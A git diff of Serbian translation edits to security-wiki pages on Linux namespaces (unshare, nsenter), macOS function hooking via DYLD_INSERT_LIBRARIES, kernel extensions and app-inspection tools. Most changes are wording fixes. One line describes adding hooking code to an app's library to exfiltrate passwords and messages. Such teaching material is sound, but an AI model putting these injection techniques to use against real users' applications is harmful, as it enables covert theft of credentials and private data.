-Kada se `unshare` izvrši bez `-f` opcije, dolazi do greške zbog načina na koji Linux upravlja novim PID (ID procesa) namespace-ima. Ključni detalji i rešenje su navedeni u nastavku:
+Kada se `unshare` izvrši bez opcije `-f`, dolazi do greške zbog načina na koji Linux upravlja novim PID (Process ID) namespace-ima. Ključni detalji i rešenje su navedeni u nastavku:
1. **Objašnjenje problema**:
- Linux kernel omogućava procesu da kreira nove namespace-e koristeći `unshare` sistemski poziv. Međutim, proces koji inicira kreiranje novog PID namespace-a (poznat kao "unshare" proces) ne ulazi u novi namespace; samo njegovi podprocesi to čine.
- Pokretanjem `%unshare -p /bin/bash%` pokreće se `/bin/bash` u istom procesu kao `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi su u originalnom PID namespace-u.
-- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces izađe, pokreće čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi. Linux kernel će tada onemogućiti dodelu PID-a u tom namespace-u.
+- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces izađe, pokreće čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi procesa. Linux kernel će tada onemogućiti alokaciju PID-a u tom namespace-u.
2. **Posledica**:
-- Izlazak PID 1 u novom namespace-u dovodi do čišćenja `PIDNS_HASH_ADDING` oznake. To rezultira neuspehom funkcije `alloc_pid` da dodeli novi PID prilikom kreiranja novog procesa, što proizvodi grešku "Ne može da dodeli memoriju".
+- Izlazak PID 1 u novom namespace-u dovodi do čišćenja `PIDNS_HASH_ADDING` oznake. To rezultira neuspehom funkcije `alloc_pid` da alocira novi PID prilikom kreiranja novog procesa, što proizvodi grešku "Ne može da alocira memoriju".
3. **Rešenje**:
-- Problem se može rešiti korišćenjem `-f` opcije sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID namespace-a.
-- Izvršavanje `%unshare -fp /bin/bash%` osigurava da `unshare` komanda sama postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno sadržani unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu dodelu PID-a.
+- Problem se može rešiti korišćenjem opcije `-f` sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID namespace-a.
+- Izvršavanje `%unshare -fp /bin/bash%` osigurava da `unshare` komanda sama postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno sadržani unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu alokaciju PID-a.
-Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno održava, omogućavajući `/bin/bash` i njegovim podprocesima da funkcionišu bez susretanja greške u dodeli memorije.
+Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno održava, omogućavajući `/bin/bash` i njegovim podprocesima da funkcionišu bez susretanja greške u alokaciji memorije.
@@ -55,7 +55,7 @@ docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
Da biste koristili korisnički prostor, Docker demon treba da se pokrene sa **`--userns-remap=default`**(U ubuntu 14.04, to se može uraditi modifikovanjem `/etc/default/docker` i zatim izvršavanjem `sudo service docker restart`)
-### Proverite u kojem je prostoru vaš proces
+### Proverite u kojem je prostoru vaš proces
```bash
ls -l /proc/self/ns/user
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
@@ -70,7 +70,7 @@ Ili sa hosta sa:
```bash
cat /proc//uid_map
```
-### Pronađi sve korisničke prostore
+### Pronađi sve korisničke imenske prostore
```bash
sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
@@ -96,14 +96,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody
ps -ef | grep bash # The user inside the host is still root, not nobody
root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash
```
-### Oporavak Kapaciteta
+### Oporavak sposobnosti
-U slučaju korisničkih prostora, **kada se kreira novi korisnički prostor, procesu koji ulazi u prostor dodeljuje se potpuni skup kapaciteta unutar tog prostora**. Ove kapacitete omogućavaju procesu da izvršava privilegovane operacije kao što su **montiranje** **fajl sistema**, kreiranje uređaja ili promena vlasništva nad fajlovima, ali **samo unutar konteksta svog korisničkog prostora**.
+U slučaju korisničkih prostora, **kada se kreira novi korisnički prostor, procesu koji ulazi u prostor dodeljuje se potpuni skup sposobnosti unutar tog prostora**. Ove sposobnosti omogućavaju procesu da izvršava privilegovane operacije kao što su **montiranje** **fajl sistema**, kreiranje uređaja ili menjanje vlasništva nad fajlovima, ali **samo u okviru svog korisničkog prostora**.
-Na primer, kada imate `CAP_SYS_ADMIN` kapacitet unutar korisničkog prostora, možete izvršavati operacije koje obično zahtevaju ovaj kapacitet, poput montiranja fajl sistema, ali samo unutar konteksta vašeg korisničkog prostora. Sve operacije koje izvršavate sa ovim kapacitetom neće uticati na host sistem ili druge prostore.
+Na primer, kada imate `CAP_SYS_ADMIN` sposobnost unutar korisničkog prostora, možete izvršavati operacije koje obično zahtevaju ovu sposobnost, poput montiranja fajl sistema, ali samo u okviru vašeg korisničkog prostora. Sve operacije koje izvršavate sa ovom sposobnošću neće uticati na host sistem ili druge prostore.
> [!WARNING]
-> Stoga, čak i ako dobijanje novog procesa unutar novog korisničkog prostora **će vam vratiti sve kapacitete** (CapEff: 000001ffffffffff), zapravo možete **koristiti samo one povezane sa prostorom** (montiranje na primer) ali ne i svaki. Dakle, ovo samo po sebi nije dovoljno da pobegnete iz Docker kontejnera.
+> Stoga, čak i ako dobijanje novog procesa unutar novog korisničkog prostora **će vam vratiti sve sposobnosti** (CapEff: 000001ffffffffff), zapravo možete **koristiti samo one koje se odnose na prostor** (montiranje na primer) ali ne svaku. Dakle, ovo samo po sebi nije dovoljno da pobegnete iz Docker kontejnera.
```bash
# There are the syscalls that are filtered after changing User namespace with:
unshare -UmCpf bash
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
index 5eb692b5f..c50089944 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
@@ -9,10 +9,10 @@ UTS (UNIX Time-Sharing System) namespace je funkcija Linux kernela koja obezbeđ
### Kako to funkcioniše:
1. Kada se kreira novi UTS namespace, on počinje sa **kopijom hostname-a i NIS domena iz svog roditeljskog namespace-a**. To znači da, prilikom kreiranja, novi namespace **deliti iste identifikatore kao njegov roditelj**. Međutim, sve kasnije promene na hostname-u ili NIS domenu unutar namespace-a neće uticati na druge namespace-e.
-2. Procesi unutar UTS namespace-a **mogu promeniti hostname i NIS domen** koristeći `sethostname()` i `setdomainname()` sistemske pozive, redom. Ove promene su lokalne za namespace i ne utiču na druge namespace-e ili host sistem.
-3. Procesi mogu prelaziti između namespace-a koristeći `setns()` sistemski poziv ili kreirati nove namespace-e koristeći `unshare()` ili `clone()` sistemske pozive sa `CLONE_NEWUTS` flagom. Kada proces pređe u novi namespace ili ga kreira, počeće da koristi hostname i NIS domen koji su povezani sa tim namespace-om.
+2. Procesi unutar UTS namespace-a **mogu promeniti hostname i NIS domen** koristeći sistemske pozive `sethostname()` i `setdomainname()`, redom. Ove promene su lokalne za namespace i ne utiču na druge namespace-e ili host sistem.
+3. Procesi mogu prelaziti između namespace-a koristeći sistemski poziv `setns()` ili kreirati nove namespace-e koristeći sistemske pozive `unshare()` ili `clone()` sa `CLONE_NEWUTS` flagom. Kada proces pređe u novi namespace ili ga kreira, počeće da koristi hostname i NIS domen koji su povezani sa tim namespace-om.
-## Laboratorija:
+## Lab:
### Kreirajte različite Namespace-e
@@ -20,29 +20,29 @@ UTS (UNIX Time-Sharing System) namespace je funkcija Linux kernela koja obezbeđ
```bash
sudo unshare -u [--mount-proc] /bin/bash
```
-Montiranjem nove instance `/proc` datoteke ako koristite parametar `--mount-proc`, osiguravate da nova mount namespace ima **tačan i izolovan prikaz informacija o procesima specifičnim za tu namespace**.
+Montiranjem nove instance `/proc` datotečnog sistema ako koristite parametar `--mount-proc`, osiguravate da nova mount namespace ima **tačan i izolovan prikaz informacija o procesima specifičnim za tu namespace**.
-Greška: bash: fork: Ne može da dodeli memoriju
+Greška: bash: fork: Ne može da alocira memoriju
-Kada se `unshare` izvrši bez opcije `-f`, dolazi do greške zbog načina na koji Linux upravlja novim PID (ID procesa) namespace-ima. Ključni detalji i rešenje su navedeni u nastavku:
+Kada se `unshare` izvrši bez opcije `-f`, dolazi do greške zbog načina na koji Linux upravlja novim PID (Process ID) namespace-ima. Ključni detalji i rešenje su navedeni u nastavku:
1. **Objašnjenje problema**:
- Linux kernel omogućava procesu da kreira nove namespace-e koristeći `unshare` sistemski poziv. Međutim, proces koji inicira kreiranje novog PID namespace-a (poznat kao "unshare" proces) ne ulazi u novi namespace; samo njegovi podprocesi to čine.
- Pokretanjem `%unshare -p /bin/bash%` pokreće se `/bin/bash` u istom procesu kao `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi su u originalnom PID namespace-u.
-- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces završi, pokreće čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi. Linux kernel će tada onemogućiti dodelu PID-a u tom namespace-u.
+- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces izađe, pokreće čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi. Linux kernel će tada onemogućiti alokaciju PID-a u tom namespace-u.
2. **Posledica**:
-- Izlazak PID 1 u novom namespace-u dovodi do čišćenja `PIDNS_HASH_ADDING` oznake. To rezultira neuspehom funkcije `alloc_pid` da dodeli novi PID prilikom kreiranja novog procesa, što proizvodi grešku "Ne može da dodeli memoriju".
+- Izlazak PID 1 u novom namespace-u dovodi do čišćenja `PIDNS_HASH_ADDING` oznake. To rezultira neuspehom funkcije `alloc_pid` da alocira novi PID prilikom kreiranja novog procesa, što proizvodi grešku "Ne može da alocira memoriju".
3. **Rešenje**:
- Problem se može rešiti korišćenjem opcije `-f` sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID namespace-a.
-- Izvršavanje `%unshare -fp /bin/bash%` osigurava da sam `unshare` komanda postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno sadržani unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu dodelu PID-a.
+- Izvršavanje `%unshare -fp /bin/bash%` osigurava da sam `unshare` komanda postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno sadržani unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu alokaciju PID-a.
-Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno održava, omogućavajući `/bin/bash` i njegovim podprocesima da funkcionišu bez susretanja greške u dodeli memorije.
+Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno održava, omogućavajući `/bin/bash` i njegove podprocese da funkcionišu bez susretanja greške u alokaciji memorije.
@@ -50,7 +50,7 @@ Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### Proverite u kojem je namespace vaš proces
+### Proverite u kojem je namespace-u vaš proces
```bash
ls -l /proc/self/ns/uts
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
@@ -61,7 +61,7 @@ sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null |
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep
```
-### Uđite u UTS imenski prostor
+### Uđite unutar UTS imenskog prostora
```bash
nsenter -u TARGET_PID --pid /bin/bash
```
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
index 4257bdb89..84baa25c8 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
@@ -6,7 +6,7 @@
Kreirajte **dylib** sa **`__interpose`** sekcijom (ili sekcijom označenom sa **`S_INTERPOSING`**) koja sadrži parove **pokazivača na funkcije** koji se odnose na **originalne** i **zamenske** funkcije.
-Zatim, **ubacite** dylib sa **`DYLD_INSERT_LIBRARIES`** (interpozicija treba da se desi pre nego što se glavna aplikacija učita). Očigledno, [**ograničenja** koja se primenjuju na korišćenje **`DYLD_INSERT_LIBRARIES`** važe i ovde](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions).
+Zatim, **ubacite** dylib sa **`DYLD_INSERT_LIBRARIES`** (interpozicija treba da se desi pre nego što se glavna aplikacija učita). Očigledno, [**ograničenja** koja se primenjuju na korišćenje **`DYLD_INSERT_LIBRARIES`** važe i ovde](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions).
### Interpozicija printf
@@ -163,7 +163,7 @@ return 0;
Funkcija **`method_exchangeImplementations`** omogućava da se **promeni** **adresa** **implementacije** **jedne funkcije za drugu**.
> [!CAUTION]
-> Tako da kada se funkcija pozove, ono što se **izvršava je druga**.
+> Tako da kada se funkcija pozove, ono što je **izvršeno je drugo**.
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
@@ -293,7 +293,7 @@ i zatim **ponovo registrujte** aplikaciju:
Dodajte u tu biblioteku kod za hooking kako biste eksfiltrirali informacije: Lozinke, poruke...
> [!CAUTION]
-> Imajte na umu da u novijim verzijama macOS-a, ako **uklonite potpis** aplikacionog binarnog fajla i ako je prethodno izvršen, macOS **neće više izvršavati aplikaciju**.
+> Imajte na umu da u novijim verzijama macOS-a, ako **uklonite potpis** aplikacionog binarnog fajla i ako je prethodno bio izvršen, macOS **neće više izvršavati aplikaciju**.
#### Primer biblioteke
```objectivec
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
index 1beb06af7..a5abf1ef5 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
@@ -4,13 +4,13 @@
## Osnovne informacije
-Kernel ekstenzije (Kexts) su **paketi** sa **`.kext`** ekstenzijom koji se **direktno učitavaju u macOS kernel prostor**, pružajući dodatnu funkcionalnost glavnom operativnom sistemu.
+Kernel ekstenzije (Kexts) su **paketi** sa **`.kext`** ekstenzijom koji se **učitavaju direktno u macOS kernel prostor**, pružajući dodatnu funkcionalnost glavnom operativnom sistemu.
### Zahtevi
Očigledno, ovo je toliko moćno da je **komplikovano učitati kernel ekstenziju**. Ovo su **zahtevi** koje kernel ekstenzija mora ispuniti da bi bila učitana:
-- Kada se **ulazi u režim oporavka**, kernel **ekstenzije moraju biti dozvoljene** za učitavanje:
+- Kada **uđete u režim oporavka**, kernel **ekstenzije moraju biti dozvoljene** za učitavanje:
@@ -18,18 +18,18 @@ Očigledno, ovo je toliko moćno da je **komplikovano učitati kernel ekstenziju
- Kernel ekstenzija takođe mora biti **notarizovana**, Apple će moći da je proveri na malver.
- Zatim, **root** korisnik je taj koji može **učitati kernel ekstenziju** i datoteke unutar paketa moraju **pripadati root-u**.
- Tokom procesa učitavanja, paket mora biti pripremljen na **zaštićenoj lokaciji koja nije root**: `/Library/StagedExtensions` (zahteva `com.apple.rootless.storage.KernelExtensionManagement` dozvolu).
-- Na kraju, kada se pokuša učitati, korisnik će [**dobiti zahtev za potvrdu**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) i, ako bude prihvaćen, računar mora biti **ponovo pokrenut** da bi se učitao.
+- Na kraju, kada pokušate da je učitate, korisnik će [**dobiti zahtev za potvrdu**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) i, ako bude prihvaćen, računar mora biti **ponovo pokrenut** da bi se učitala.
### Proces učitavanja
-U Catalini je to izgledalo ovako: Zanimljivo je napomenuti da se **proverava** proces odvija u **userland-u**. Međutim, samo aplikacije sa **`com.apple.private.security.kext-management`** dozvolom mogu **zatražiti od kernela da učita ekstenziju**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
+U Catalini je to izgledalo ovako: Zanimljivo je napomenuti da se **proverava** proces dešava u **userland-u**. Međutim, samo aplikacije sa **`com.apple.private.security.kext-management`** dozvolom mogu **zatražiti od kernela da učita ekstenziju**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
-1. **`kextutil`** cli **pokreće** **proveru** procesa za učitavanje ekstenzije
+1. **`kextutil`** cli **pokreće** **proveru** za učitavanje ekstenzije
- Razgovaraće sa **`kextd`** slanjem putem **Mach servisa**.
2. **`kextd`** će proveriti nekoliko stvari, kao što je **potpis**
- Razgovaraće sa **`syspolicyd`** da **proveri** da li se ekstenzija može **učitati**.
3. **`syspolicyd`** će **pitati** **korisnika** ako ekstenzija nije prethodno učitana.
-- **`syspolicyd`** će prijaviti rezultat **`kextd`**
+- **`syspolicyd`** će izvestiti rezultat **`kextd`**
4. **`kextd`** će konačno moći da **kaže kernelu da učita** ekstenziju
Ako **`kextd`** nije dostupan, **`kextutil`** može izvršiti iste provere.
@@ -45,9 +45,9 @@ kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
## Kernelcache
> [!CAUTION]
-> Iako se očekuje da su kernel ekstenzije u `/System/Library/Extensions/`, ako odete u ovu fasciklu **nećete pronaći nijedan binarni fajl**. To je zbog **kernelcache** i da biste obrnuli jedan `.kext` potrebno je da pronađete način da ga dobijete.
+> Iako se očekuje da su kernel ekstenzije u `/System/Library/Extensions/`, ako odete u ovu fasciklu **nećete pronaći nijedan binarni** fajl. To je zbog **kernelcache** i da biste obrnuli jedan `.kext` morate pronaći način da ga dobijete.
-**Kernelcache** je **prekompajlirana i prelinkovana verzija XNU kernela**, zajedno sa esencijalnim uređajskim **drajverima** i **kernel ekstenzijama**. Čuva se u **kompresovanom** formatu i dekompresuje se u memoriju tokom procesa pokretanja. Kernelcache olakšava **brže vreme pokretanja** tako što ima verziju kernela i ključnih drajvera spremnu za rad, smanjujući vreme i resurse koji bi inače bili potrošeni na dinamičko učitavanje i linkovanje ovih komponenti prilikom pokretanja.
+**Kernelcache** je **prekompajlirana i prelinkovana verzija XNU kernela**, zajedno sa esencijalnim uređajnim **drajverima** i **kernel ekstenzijama**. Čuva se u **kompresovanom** formatu i dekompresuje se u memoriju tokom procesa pokretanja. Kernelcache olakšava **brže vreme pokretanja** tako što ima verziju kernela i ključnih drajvera spremnu za rad, smanjujući vreme i resurse koji bi inače bili potrošeni na dinamičko učitavanje i linkovanje ovih komponenti prilikom pokretanja.
### Lokalni Kernelcache
@@ -58,7 +58,7 @@ U mom slučaju u macOS-u pronašao sam ga u:
#### IMG4
-IMG4 format fajla je kontejnerski format koji koristi Apple u svojim iOS i macOS uređajima za sigurno **čuvanje i verifikaciju firmware** komponenti (kao što je **kernelcache**). IMG4 format uključuje zaglavlje i nekoliko oznaka koje obuhvataju različite delove podataka uključujući stvarni payload (kao što su kernel ili bootloader), potpis i skup manifest svojstava. Format podržava kriptografsku verifikaciju, omogućavajući uređaju da potvrdi autentičnost i integritet firmware komponente pre nego što je izvrši.
+IMG4 format fajla je kontejnerski format koji koristi Apple u svojim iOS i macOS uređajima za sigurno **čuvanje i verifikaciju firmware** komponenti (kao što je **kernelcache**). IMG4 format uključuje zaglavlje i nekoliko oznaka koje enkapsuliraju različite delove podataka uključujući stvarni payload (kao što je kernel ili bootloader), potpis i skup manifest svojstava. Format podržava kriptografsku verifikaciju, omogućavajući uređaju da potvrdi autentičnost i integritet firmware komponente pre nego što je izvrši.
Obično se sastoji od sledećih komponenti:
@@ -81,7 +81,7 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
# pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
-### Preuzimanje
+### Preuzimanje
- [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
@@ -107,7 +107,7 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
-### Inspekcija kernelcache-a
+### Inspecting kernelcache
Proverite da li kernelcache ima simbole sa
```bash
@@ -126,9 +126,9 @@ kextex_all kernelcache.release.iphone14.e
# Check the extension for symbols
nm -a binaries/com.apple.security.sandbox | wc -l
```
-## Debagovanje
+## Debugging
-## Reference
+## Referencije
- [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
- [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
index c7ef23e0d..5a00eef6a 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
@@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Statistička Analiza
+## Staticka Analiza
### otool & objdump & nm
```bash
@@ -83,16 +83,16 @@ ldid -S/tmp/entl.xml
```
### SuspiciousPackage
-[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) је алат користан за инспекцију **.pkg** фајлова (инсталатера) и за преглед садржаја пре инсталирања.\
-Ови инсталатери имају `preinstall` и `postinstall` bash скрипте које аутори малвера обично злоупотребљавају да **постигну** **упорност** **малвера**.
+[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) je alat koristan za inspekciju **.pkg** fajlova (instalatera) i pregled sadržaja pre instalacije.\
+Ovi instalateri imaju `preinstall` i `postinstall` bash skripte koje autori malvera obično zloupotrebljavaju da **održe** **malver**.
### hdiutil
-Овај алат омогућава **монтирање** Apple слика дискова (**.dmg**) за инспекцију пре покретања било чега:
+Ovaj alat omogućava **montiranje** Apple disk slika (**.dmg**) fajlova za inspekciju pre pokretanja bilo čega:
```bash
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
```
-Biće montiran u `/Volumes`
+Biće montirano u `/Volumes`
### Pakovani binarni fajlovi
@@ -105,14 +105,14 @@ Biće montiran u `/Volumes`
### Metapodaci
> [!CAUTION]
-> Imajte na umu da programi napisani u Objective-C **zadržavaju** svoje deklaracije klasa **kada** su **kompilirani** u [Mach-O binarne fajlove](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Takve deklaracije klasa **uključuju** ime i tip:
+> Imajte na umu da programi napisani u Objective-C **zadržavaju** svoje deklaracije klasa **kada** **se kompajliraju** u [Mach-O binarne fajlove](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Takve deklaracije klasa **uključuju** ime i tip:
- Definisani interfejsi
- Metode interfejsa
- Varijable instanci interfejsa
- Definisani protokoli
-Imajte na umu da bi ova imena mogla biti obfuskovana kako bi se otežalo obrnuto inženjerstvo binarnog fajla.
+Imajte na umu da bi ova imena mogla biti obfuskirana kako bi se otežalo obrnuto inženjerstvo binarnog fajla.
### Pozivanje funkcija
@@ -142,7 +142,7 @@ x64:
| **4. argument** | **rcx** | **2. argument za metodu** |
| **5. argument** | **r8** | **3. argument za metodu** |
| **6. argument** | **r9** | **4. argument za metodu** |
-| **7. i više** |
rsp+ (na steku)
| **5. i više argumenata za metodu** |
+| **7. i više** |
rsp+ (na steku)
| **5. i više argumenata za metodu** |
### Dump ObjectiveC metapodataka
@@ -162,13 +162,13 @@ objdump --macho --objc-meta-data /path/to/bin
```
#### class-dump
-[**class-dump**](https://github.com/nygard/class-dump/) je originalni alat koji generiše deklaracije za klase, kategorije i protokole u kodu formatiranom u ObjetiveC.
+[**class-dump**](https://github.com/nygard/class-dump/) je originalni alat za generisanje deklaracija za klase, kategorije i protokole u kodu formatiranom u ObjetiveC.
-Stari je i nije održavan, tako da verovatno neće raditi ispravno.
+Stari je i neodržavan, tako da verovatno neće raditi ispravno.
#### ICDump
-[**iCDump**](https://github.com/romainthomas/iCDump) je moderan i multiplatformski Objective-C dump. U poređenju sa postojećim alatima, iCDump može da radi nezavisno od Apple ekosistema i izlaže Python vezivanja.
+[**iCDump**](https://github.com/romainthomas/iCDump) je moderan i multiplatformski dump klasa za Objective-C. U poređenju sa postojećim alatima, iCDump može da radi nezavisno od Apple ekosistema i izlaže Python vezivanja.
```python
import icdump
metadata = icdump.objc.parse("/path/to/bin")
@@ -191,7 +191,7 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd
Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
[...]
```
-Možete pronaći dodatne informacije o [**informacijama pohranjenim u ovoj sekciji u ovom blog postu**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
+Možete pronaći dodatne informacije o [**informacijama koje se čuvaju u ovoj sekciji u ovom blog postu**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
Pored toga, **Swift binarni fajlovi mogu imati simbole** (na primer, biblioteke treba da čuvaju simbole kako bi se njihove funkcije mogle pozivati). **Simboli obično imaju informacije o imenu funkcije** i atributima na ružan način, tako da su veoma korisni i postoje "**demangleri"** koji mogu dobiti originalno ime:
```bash
@@ -209,11 +209,11 @@ swift demangle
> [!WARNING]
> Imajte na umu da da biste **instrumentovali sistemske binarne datoteke**, (kao što je `cloudconfigurationd`) na macOS-u, **SIP mora biti onemogućen** (samo uklanjanje potpisa neće raditi).
-### API-ji
+### API
macOS izlaže neke zanimljive API-je koji daju informacije o procesima:
-- `proc_info`: Ovo je glavni koji daje mnogo informacija o svakom procesu. Potrebno je biti root da biste dobili informacije o drugim procesima, ali vam nisu potrebna posebna ovlašćenja ili mach portovi.
+- `proc_info`: Ovo je glavni API koji daje mnogo informacija o svakom procesu. Potrebno je biti root da biste dobili informacije o drugim procesima, ali vam nisu potrebna posebna ovlašćenja ili mach portovi.
- `libsysmon.dylib`: Omogućava dobijanje informacija o procesima putem XPC izloženih funkcija, međutim, potrebno je imati ovlašćenje `com.apple.sysmond.client`.
### Stackshot & mikrostackshotovi
@@ -234,7 +234,7 @@ Njegov plist se nalazi u `/System/Library/LaunchDaemons/com.apple.sysdiagnose.pl
### Unified Logs
-MacOS generiše mnogo logova koji mogu biti veoma korisni kada se pokreće aplikacija koja pokušava da razume **šta radi**.
+MacOS generiše mnogo logova koji mogu biti veoma korisni kada pokrećete aplikaciju pokušavajući da razumete **šta ona radi**.
Štaviše, postoje neki logovi koji će sadržati oznaku `` da **sakriju** neke **korisničke** ili **računarske** **identifikacione** informacije. Međutim, moguće je **instalirati sertifikat da bi se otkrile ove informacije**. Pratite objašnjenja [**ovde**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
@@ -254,7 +254,7 @@ Desnim klikom na objekat koda možete videti **reference na/iz tog objekta** ili
-Štaviše, u **srednjem donjem delu možete pisati python komande**.
+Štaviše, u **donjem srednjem delu možete pisati python komande**.
#### Desna panel
@@ -264,7 +264,7 @@ Na desnoj panelu možete videti zanimljive informacije kao što su **istorija na
Omogućava korisnicima pristup aplikacijama na ekstremno **niskom nivou** i pruža način za korisnike da **prate** **programe** i čak promene njihov tok izvršenja. Dtrace koristi **probes** koje su **postavljene širom kernela** i nalaze se na mestima kao što su početak i kraj sistemskih poziva.
-DTrace koristi funkciju **`dtrace_probe_create`** za kreiranje probe za svaki sistemski poziv. Ove probe mogu biti aktivirane u **ulaznoj i izlaznoj tački svakog sistemskog poziva**. Interakcija sa DTrace se odvija kroz /dev/dtrace koji je dostupan samo za root korisnika.
+DTrace koristi funkciju **`dtrace_probe_create`** za kreiranje probe za svaki sistemski poziv. Ove probe mogu biti aktivirane u **ulaznoj i izlaznoj tački svakog sistemskog poziva**. Interakcija sa DTrace se odvija kroz /dev/dtrace koja je dostupna samo za root korisnika.
> [!TIP]
> Da omogućite Dtrace bez potpunog onemogućavanja SIP zaštite, možete izvršiti u režimu oporavka: `csrutil enable --without dtrace`
@@ -285,7 +285,7 @@ Ime probe se sastoji od četiri dela: provajder, modul, funkcija i ime (`fbt:mac
Da bismo konfigurisali DTrace da aktivira probe i da odredimo koje akcije da izvršimo kada se aktiviraju, moraćemo da koristimo D jezik.
-Detaljnije objašnjenje i više primera možete pronaći u [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)
+Detaljnije objašnjenje i više primera možete pronaći na [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)
#### Primeri
